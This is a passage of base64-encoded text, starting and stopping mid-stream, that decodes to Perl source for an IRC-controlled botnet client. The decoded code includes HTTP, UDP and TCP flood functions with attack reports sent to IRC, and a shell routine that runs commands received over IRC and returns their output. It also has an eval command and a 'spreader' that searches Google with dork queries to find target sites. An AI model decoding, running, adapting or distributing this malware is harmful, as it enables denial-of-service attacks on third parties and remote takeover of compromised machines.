JGl0aW1lID0gdGltZTsKCSAgICAgbXkgKCRjdXJfdGltZSk7CiAgICAgICAgICAg ICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwoJICAgICB3aGlsZSAoJDI+JGN1 cl90aW1lKXsKICAgICAgICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7 CgkgICAgIG15ICRzb2NrZXQgPSBJTzo6U29ja2V0OjpJTkVULT5uZXcocHJvdG89 Pid0Y3AnLCBQZWVyQWRkcj0+JDEsIFBlZXJQb3J0PT44MCk7CiAgICAgICAgICAg ICBwcmludCAkc29ja2V0ICJHRVQgLyBIVFRQLzEuMVxyXG5BY2NlcHQ6ICovKlxy XG5Ib3N0OiAiLiQxLiJcclxuQ29ubmVjdGlvbjogS2VlcC1BbGl2ZVxyXG5cclxu IjsKCSAgICAgY2xvc2UoJHNvY2tldCk7CiAgICAgICAgICAgICB9CgkgICAgIHNl bmRyYXcoJElSQ19jdXJfc29ja2V0LCAiUFJJVk1TRyAkcHJpbnRsIDpcMDAyW0hU VFBdXDAwMiBBdHRhY2tpbmcgZG9uZSAiLiQxLiIuIik7CiAgICAgICAgICAgfQog ICAgICAgICAgIGlmICgkZnVuY2FyZyA9fiAvXnVkcGZsb29kXHMrKC4qKVxzKyhc ZCspXHMrKFxkKykvKSB7CiAgICAgICAgICAgICBzZW5kcmF3KCRJUkNfY3VyX3Nv Y2tldCwgIlBSSVZNU0cgJHByaW50bCA6XDAwMltVRFBdXDAwMiBBdHRhY2tpbmcg Ii4kMS4iIHdpdGggIi4kMi4iIEtiIHBhY2tldHMgZm9yICIuJDMuIiBzZWNvbmRz LiIpOwogICAgICAgICAgICAgbXkgKCRkdGltZSwgJXBhY290ZXMpID0gdWRwZmxv b2RlcigiJDEiLCAiJDIiLCAiJDMiKTsKICAgICAgICAgICAgICRkdGltZSA9IDEg aWYgJGR0aW1lID09IDA7CiAgICAgICAgICAgICBteSAlYnl0ZXM7CiAgICAgICAg ICAgICAkYnl0ZXN7aWdtcH0gPSAkMiAqICRwYWNvdGVze2lnbXB9OwogICAgICAg ICAgICAgJGJ5dGVze2ljbXB9ID0gJDIgKiAkcGFjb3Rlc3tpY21wfTsKICAgICAg ICAgICAgICRieXRlc3tvfSA9ICQyICogJHBhY290ZXN7b307CiAgICAgICAgICAg ICAkYnl0ZXN7dWRwfSA9ICQyICogJHBhY290ZXN7dWRwfTsKICAgICAgICAgICAg ICRieXRlc3t0Y3B9ID0gJDIgKiAkcGFjb3Rlc3t0Y3B9OwogICAgICAgICAgICAg c2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJb VURQXVwwMDIgU2VudCAiLmludCgoJGJ5dGVze2ljbXB9KyRieXRlc3tpZ21wfSsk Ynl0ZXN7dWRwfSArICRieXRlc3tvfSkvMTAyNCkuIiBLYiBpbiAiLiRkdGltZS4i IHNlY29uZHMgdG8gIi4kMS4iLiIpOwogICAgICAgICAgIH0KICAgICAgICAgICBl eGl0OwogICAgICAgfQogIH0KfQogCnN1YiBpcmNhc2UgewogIG15ICgka2VtLCAk cHJpbnRsLCAkY2FzZSkgPSBAXzsKCiAgaWYgKCRjYXNlID1+IC9eam9pbiAoLiop LykgewogICAgIGooIiQxIik7CiAgIH0gCgppZiAoJGNhc2UgPX4gL15yZWZyZXNo ICguKikvKSB7Cm15ICRnb25pID0gJHRpdGlbcmFuZCBzY2FsYXIgQHRpdGldOwog fQoKICAgaWYgKCRjYXNlID1+IC9ecGFydCAoLiopLykgewogICAgICBwKCIkMSIp OwogICB9CiAgIGlmICgkY2FzZSA9fiAvXnJlam9pblxzKyguKikvKSB7CiAgICAg IG15ICRjaGFuID0gJDE7CiAgICAgIGlmICgkY2hhbiA9fiAvXihcZCspICguKikv KSB7CiAgICAgICAgZm9yIChteSAkY2EgPSAxOyAkY2EgPD0gJDE7ICRjYSsrICkg ewogICAgICAgICAgcCgiJDIiKTsKICAgICAgICAgIGooIiQyIik7CiAgICAgICAg fQogICAgICB9IGVsc2UgewogICAgICAgICAgcCgiJGNoYW4iKTsKICAgICAgICAg IGooIiRjaGFuIik7CiAgICAgIH0KICAgfQogICBpZiAoJGNhc2UgPX4gL15vcC8p IHsKICAgICAgb3AoIiRwcmludGwiLCAiJGtlbSIpIGlmICRjYXNlIGVxICJvcCI7 CiAgICAgIG15ICRvYXJnID0gc3Vic3RyKCRjYXNlLCAzKTsKICAgICAgb3AoIiQx IiwgIiQyIikgaWYgKCRvYXJnID1+IC8oXFMrKVxzKyhcUyspLyk7CiAgIH0KICAg aWYgKCRjYXNlID1+IC9eZGVvcC8pIHsKICAgICAgZGVvcCgiJHByaW50bCIsICIk a2VtIikgaWYgJGNhc2UgZXEgImRlb3AiOwogICAgICBteSAkb2FyZyA9IHN1YnN0 cigkY2FzZSwgNSk7CiAgICAgIGRlb3AoIiQxIiwgIiQyIikgaWYgKCRvYXJnID1+ IC8oXFMrKVxzKyhcUyspLyk7CiAgIH0KICAgaWYgKCRjYXNlID1+IC9ebXNnXHMr KFxTKykgKC4qKS8pIHsKICAgICAgbXNnKCIkMSIsICIkMiIpOwogICB9CiAgIGlm ICgkY2FzZSA9fiAvXmZsb29kXHMrKFxkKylccysoXFMrKSAoLiopLykgewogICAg ICBmb3IgKG15ICRjZiA9IDE7ICRjZiA8PSAkMTsgJGNmKyspIHsKICAgICAgICBt c2coIiQyIiwgIiQzIik7CiAgICAgIH0KICAgfQogICBpZiAoJGNhc2UgPX4gL15j dGNwXHMrKFxTKykgKC4qKS8pIHsKICAgICAgY3RjcCgiJDEiLCAiJDIiKTsKICAg fQogICBpZiAoJGNhc2UgPX4gL15jdGNwZmxvb2RccysoXGQrKVxzKyhcUyspICgu KikvKSB7CiAgICAgIGZvciAobXkgJGNmID0gMTsgJGNmIDw9ICQxOyAkY2YrKykg ewogICAgICAgIGN0Y3AoIiQyIiwgIiQzIik7CiAgICAgIH0KICAgfQogICBpZiAo JGNhc2UgPX4gL15uaWNrICguKikvKSB7CiAgICAgIG5pY2soIiQxIik7CiAgIH0K ICAgaWYgKCRjYXNlID1+IC9eY29ubmVjdFxzKyhcUyspXHMrKFxTKykvKSB7CiAg ICAgICBjb25lY3RhcigiJDIiLCAiJDEiLCA2NjY3KTsKICAgfQogICBpZiAoJGNh c2UgPX4gL15yYXcgKC4qKS8pIHsKICAgICAgc2VuZHJhdygiJDEiKTsKICAgfQog ICBpZiAoJGNhc2UgPX4gL15ldmFsICguKikvKSB7CiAgICAgZXZhbCAiJDEiOwog ICB9Cn0KCnN1YiBzaGVsbCB7CiAgbXkgJHByaW50bD0kX1swXTsKICBteSAkY29t YW5kbz0kX1sxXTsKICBpZiAoJGNvbWFuZG8gPX4gL2NkICguKikvKSB7CiAgICBj aGRpcigiJDEiKSB8fCBtc2coIiRwcmludGwiLCAiTm8gc3VjaCBmaWxlIG9yIGRp cmVjdG9yeSIpOwogICAgcmV0dXJuOwogIH0gCiAgZWxzaWYgKCRwaWQgPSBmb3Jr KSB7CiAgICAgd2FpdHBpZCgkcGlkLCAwKTsKICB9IGVsc2UgewogICAgICBpZiAo Zm9yaykgewogICAgICAgICBleGl0OwogICAgICAgfSBlbHNlIHsKICAgICAgICAg ICBteSBAcmVzcD1gJGNvbWFuZG8gMj4mMSAzPiYxYDsKICAgICAgICAgICBteSAk Yz0wOwogICAgICAgICAgIGZvcmVhY2ggbXkgJGxpbmhhIChAcmVzcCkgewogICAg ICAgICAgICAgJGMrKzsKICAgICAgICAgICAgIGNob3AgJGxpbmhhOwogICAgICAg ICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwg OiRsaW5oYSIpOwogICAgICAgICAgICAgaWYgKCRjID09ICIkbGluYXNfbWF4Iikg ewogICAgICAgICAgICAgICAkYz0wOwogICAgICAgICAgICAgICBzbGVlcCAkc2xl ZXA7CiAgICAgICAgICAgICB9CiAgICAgICAgICAgfQogICAgICAgICAgIGV4aXQ7 CiAgICAgICB9CiAgfQp9CgpzdWIgdGNwZmxvb2RlciB7CiBteSAkaXRpbWUgPSB0 aW1lOwogbXkgKCRjdXJfdGltZSk7CiBteSAoJGlhLCRwYSwkcHJvdG8sJGosJGws JHQpOwogJGlhPWluZXRfYXRvbigkX1swXSk7CiAkcGE9c29ja2FkZHJfaW4oJF9b MV0sJGlhKTsKICRmdGltZT0kX1syXTsKICRwcm90bz1nZXRwcm90b2J5bmFtZSgn dGNwJyk7CiAkaj0wOyRsPTA7CiAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwog d2hpbGUgKCRsPDEwMDApewogICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7CiAg bGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOwogICR0PSJTT0NLJGwiOwogIHNv Y2tldCgkdCxQRl9JTkVULFNPQ0tfU1RSRUFNLCRwcm90byk7CiAgY29ubmVjdCgk dCwkcGEpfHwkai0tOwogICRqKys7JGwrKzsKIH0KICRsPTA7CiB3aGlsZSAoJGw8 MTAwMCl7CiAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKICBsYXN0IGlmICRj dXJfdGltZSA+PSAkZnRpbWU7CiAgJHQ9IlNPQ0skbCI7CiAgc2h1dGRvd24oJHQs Mik7CiAgJGwrKzsKIH0KfQoKc3ViIHVkcGZsb29kZXIgewogIG15ICRpYWRkciA9 IGluZXRfYXRvbigkX1swXSk7CiAgbXkgJG1zZyA9ICdBJyB4ICRfWzFdOwogIG15 ICRmdGltZSA9ICRfWzJdOwogIG15ICRjcCA9IDA7CiAgbXkgKCVwYWNvdGVzKTsK ICAkcGFjb3Rlc3tpY21wfSA9ICRwYWNvdGVze2lnbXB9ID0gJHBhY290ZXN7dWRw fSA9ICRwYWNvdGVze299ID0gJHBhY290ZXN7dGNwfSA9IDA7CiAgCiAgc29ja2V0 KFNPQ0sxLCBQRl9JTkVULCBTT0NLX1JBVywgMikgb3IgJGNwKys7CiAgc29ja2V0 KFNPQ0syLCBQRl9JTkVULCBTT0NLX0RHUkFNLCAxNykgb3IgJGNwKys7CiAgc29j a2V0KFNPQ0szLCBQRl9JTkVULCBTT0NLX1JBVywgMSkgb3IgJGNwKys7CiAgc29j a2V0KFNPQ0s0LCBQRl9JTkVULCBTT0NLX1JBVywgNikgb3IgJGNwKys7CiAgcmV0 dXJuKHVuZGVmKSBpZiAkY3AgPT0gNDsKICBteSAkaXRpbWUgPSB0aW1lOwogIG15 ICgkY3VyX3RpbWUpOwogIHdoaWxlICggMSApIHsKICAgICBmb3IgKG15ICRwb3J0 YSA9IDE7ICRwb3J0YSA8PSA2NTAwMDsgJHBvcnRhKyspIHsKICAgICAgICRjdXJf dGltZSA9IHRpbWUgLSAkaXRpbWU7CiAgICAgICBsYXN0IGlmICRjdXJfdGltZSA+ PSAkZnRpbWU7CiAgICAgICBzZW5kKFNPQ0sxLCAkbXNnLCAwLCBzb2NrYWRkcl9p bigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3tpZ21wfSsrOwogICAgICAg c2VuZChTT0NLMiwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIp KSBhbmQgJHBhY290ZXN7dWRwfSsrOwogICAgICAgc2VuZChTT0NLMywgJG1zZywg MCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290ZXN7aWNt cH0rKzsKICAgICAgIHNlbmQoU09DSzQsICRtc2csIDAsIHNvY2thZGRyX2luKCRw b3J0YSwgJGlhZGRyKSkgYW5kICRwYWNvdGVze3RjcH0rKzsKCiAgICAgICBmb3Ig KG15ICRwYyA9IDM7ICRwYyA8PSAyNTU7JHBjKyspIHsKICAgICAgICAgbmV4dCBp ZiAkcGMgPT0gNjsKICAgICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsK ICAgICAgICAgbGFzdCBpZiAkY3VyX3RpbWUgPj0gJGZ0aW1lOwogICAgICAgICBz b2NrZXQoU09DSzUsIFBGX0lORVQsIFNPQ0tfUkFXLCAkcGMpIG9yIG5leHQ7CiAg ICAgICAgIHNlbmQoU09DSzUsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwg JGlhZGRyKSkgYW5kICRwYWNvdGVze299Kys7CiAgICAgICB9CiAgICAgfQogICAg IGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsKICB9CiAgcmV0dXJuKCRjdXJf dGltZSwgJXBhY290ZXMpOwp9CgpzdWIgY3RjcCB7CiAgIHJldHVybiB1bmxlc3Mg JCNfID09IDE7CiAgIHNlbmRyYXcoIlBSSVZNU0cgJF9bMF0gOlwwMDEkX1sxXVww MDEiKTsKfQpzdWIgbXNnIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAg c2VuZHJhdygiUFJJVk1TRyAkX1swXSA6JF9bMV0iKTsKfSAgCnN1YiBub3RpY2Ug ewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJOT1RJQ0Ug JF9bMF0gOiRfWzFdIik7Cn0Kc3ViIG9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18g PT0gMTsKICAgc2VuZHJhdygiTU9ERSAkX1swXSArbyAkX1sxXSIpOwp9CnN1YiBk ZW9wIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJhdygiTU9E RSAkX1swXSAtbyAkX1sxXSIpOwp9CnN1YiBqIHsgJmpvaW4oQF8pOyB9CnN1YiBq b2luIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMDsKICAgc2VuZHJhdygiSk9J TiAkX1swXSIpOwp9CnN1YiBwIHsgcGFydChAXyk7IH0Kc3ViIHBhcnQgewogIHNl bmRyYXcoIlBBUlQgJF9bMF0iKTsKfQpzdWIgbmljayB7CiAgcmV0dXJuIHVubGVz cyAkI18gPT0gMDsKICBzZW5kcmF3KCJOSUNLICRfWzBdIik7Cn0Kc3ViIHF1aXQg ewogIHNlbmRyYXcoIlFVSVQgOiRfWzBdIik7Cn0KCiMgU3ByZWFkZXIKIyB0aGlz ICdzcHJlYWRlcicgY29kZSBpc25vdCBtaW5lLCBpIGRvbnQga25vdyB3aG8gY29k ZWQgaXQuCiMgdXBkYXRlOiB3ZWxsLCBpIGp1c3QgZml4MHJlZCB0aGlzIHNoaXQg YSBiaXQuCiMKCnN1YiBmZXRjaCgpewogICAgbXkgJHJuZD0oaW50KHJhbmQoOTk5 OSkpKTsKICAgIG15ICRuPSA4MDsKICAgIGlmICgkcm5kPDUwMDApIHsgJG48PD0x O30KICAgIG15ICRzPSAoaW50KHJhbmQoNSkpICogJG4pOwoKbXkgQGRvbWluaW9z ID0gKCJjb20iLCJuZXQiLCJvcmciLCJpbmZvIiwiZ292IiwgImdvYiIsImd1YiIs Inh4eCIsICJldSIsIm1pbCIsImVkdSIsImFlcm8iLCJuYW1lIiwidXMiLCJjYSIs Im14IiwicGEiLCJuaSIsImN1IiwicHIiLCJ2ZSIsImNvIiwicGUiLCJlYyIsCgkJ InB5IiwiY2wiLCJ1eSIsImFyIiwiYnIiLCJibyIsImF1IiwibnoiLCJjeiIsImty IiwianAiLCJ0aCIsInR3IiwicGgiLCJjbiIsImZpIiwiZGUiLCJlcyIsInB0Iiwi Y2giLCJzZSIsInN1IiwiaXQiLCJnciIsImFsIiwiZGsiLCJwbCIsImJpeiIsImlu dCIsInBybyIsIm11c2V1bSIsImNvb3AiLAoJCSJhZiIsImFkIiwiYW8iLCJhaSIs ImFxIiwiYWciLCJhbiIsInNhIiwiZHoiLCJhciIsImFtIiwiYXciLCJhdCIsImF6 IiwiYnMiLCJiaCIsImJkIiwiYmIiLCJiZSIsImJ6IiwiYmoiLCJibSIsImJ0Iiwi YnkiLCJiYSIsImJ3IiwiYm4iLCJiZyIsImJmIiwiYmkiLAoJCSJ2YyIsImtoIiwi Y20iLCJ0ZCIsImNzIiwiY3kiLCJrbSIsImNnIiwiY2QiLCJkaiIsImRtIiwiY2ki LCJjciIsImhyIiwia3AiLCJlZyIsInN2IiwiYXciLCJlciIsInNrIiwKCQkiZWUi LCJldCIsImdlIiwiZmkiLCJmciIsImdhIiwiZ3MiLCJnaCIsImdpIiwiZ2IiLCJ1 ayIsImdkIiwiZ2wiLCJncCIsImd1IiwiZ3QiLCJnZyIsImduIiwiZ3ciLCJncSIs Imd5IiwiZ2YiLCJodCIsIm5sIiwiaG4iLCJoayIsImh1IiwiaW4iLCJpZCIsImly IiwKCQkiaXEiLCJpZSIsImlzIiwiYWMiLCJidiIsImN4IiwiaW0iLCJuZiIsImt5 IiwiY2MiLCJjayIsImZvIiwiaG0iLCJmayIsIm1wIiwibWgiLCJwdyIsInVtIiwi c2IiLCJzaiIsInRjIiwidmciLCJ2aSIsIndmIiwiaWwiLCJqbSIsImplIiwiam8i LCJreiIsImtlIiwKCQkia2kiLCJrZyIsImt3IiwibHYiLCJscyIsImxiIiwibHki LCJsciIsImxpIiwibHQiLCJsdSIsIm1vIiwibWsiLCJtZyIsIm15IiwibXciLCJt diIsIm1sIiwibXQiLCJtcSIsIm1hIiwibXIiLCJtdSIsInl0IiwibWQiLCJtYyIs Im1uIiwibXMiLCJteiIsIm1tIiwKCQkibmEiLCJuciIsIm5wIiwibmkiLCJuZSIs Im5nIiwibnUiLCJubyIsIm5jIiwib20iLCJwayIsInBzIiwicGciLCJwbiIsInBm IiwicWEiLCJzeSIsImNmIiwibGEiLCJyZSIsInJ3Iiwicm8iLCJydSIsImVoIiwi a24iLCJ3cyIsImFzIiwic20iLCJwbSIsInZjIiwJCQoJCSJzaCIsImxjIiwidmEi LCJzdCIsInNuIiwic2MiLCJzbCIsInNnIiwic28iLCJsayIsInphIiwic2QiLCJz ZSIsInNyIiwic3oiLCJyaiIsInR6IiwiaW8iLCJ0ZiIsInRwIiwidGciLCJ0byIs InR0IiwidG4iLCJ0ciIsInRtIiwidHYiLCJ1ZyIsInVhIiwidXoiLAoJCSJ2dSIs InZuIiwieWUiLCJ5dSIsImNkIiwiem0iLCJ6dyIsIiIpOwpteSBAc3RyOwoKZm9y ZWFjaCAkZG9tICAoQGRvbWluaW9zKQp7CglwdXNoIChAc3RyLCJhbGxpbnVybDol MjIiLiRkb20uIi8iLiRnb25pLiIlMjIiKTsKfQoKICAgIG15ICRxdWVyeT0id3d3 Lmdvb2dsZS5jb20vc2VhcmNoP3E9IjsKICAgICRxdWVyeS49JHN0clsocmFuZChz Y2FsYXIoQHN0cikpKV07CiAgICAkcXVlcnkuPSImbnVtPSRuJnN0YXJ0PSRzIjsK CgogICAgbXkgQGxzdD0oKTsKICAgIG15ICRwYWdlID0gaHR0cF9xdWVyeSgkcXVl cnkpOwogICAgd2hpbGUgKCRwYWdlID1+ICBtLzxhIGNsYXNzPWwgaHJlZj1cIj9o dHRwOlwvXC8oW14+XCJdKylcIj8+L2cpewoJaWYgKCQxICF+IG0vZ29vZ2xlfGNh Y2hlfHRyYW5zbGF0ZS8pewoJICAgIHB1c2ggKEBsc3QsJDEpOwoJfQogICAgfQog ICAgcmV0dXJuIChAbHN0KTsKfQoKCnN1YiBodHRwX3F1ZXJ5KCQpewogICAgbXkg KCR1cmwpID0gQF87CiAgICBteSAkaG9zdD0kdXJsOwogICAgbXkgJHF1ZXJ5PSR1 cmw7CgogICAgbXkgJHBhZ2U9IiI7CiAgICAkaG9zdCA9fiBzL2hyZWY9XCI/aHR0 cDpcL1wvLy87CiAgICAkaG9zdCA9fiBzLyhbLWEtekEtWjAtOVwuXSspXC8uKi8k MS87CiAgICAkcXVlcnkgPX5zLyRob3N0Ly87CiAgICBpZiAoJHF1ZXJ5IGVxICIi KSB7JHF1ZXJ5PSIvIjt9OwogICAgZXZhbCB7Cglsb2NhbCAkU0lHe0FMUk19ID0g c3ViIHsgZGllICIxIjt9OwoJYWxhcm0gMTA7CglteSAkc29jayA9IElPOjpTb2Nr ZXQ6OklORVQtPm5ldyhQZWVyQWRkcj0+IiRob3N0IixQZWVyUG9ydD0+IjgwIixQ cm90bz0+InRjcCIpIG9yIHJldHVybjsKCXByaW50ICRzb2NrICJHRVQgJHF1ZXJ5 IEhUVFAvMS4wXHJcbkhvc3Q6ICRob3N0XHJcbkFjY2VwdDogKi8qXHJcblVzZXIt QWdlbnQ6IE1vemlsbGEvNS4wXHJcblxyXG4iOwoJbXkgQHIgPSA8JHNvY2s+OwoJ JHBhZ2U9IkByIjsKCWFsYXJtIDA7CgljbG9zZSgkc29jayk7CiAgICB9OyAgICAK ICAgIHJldHVybiAkcGFnZTsKCn0K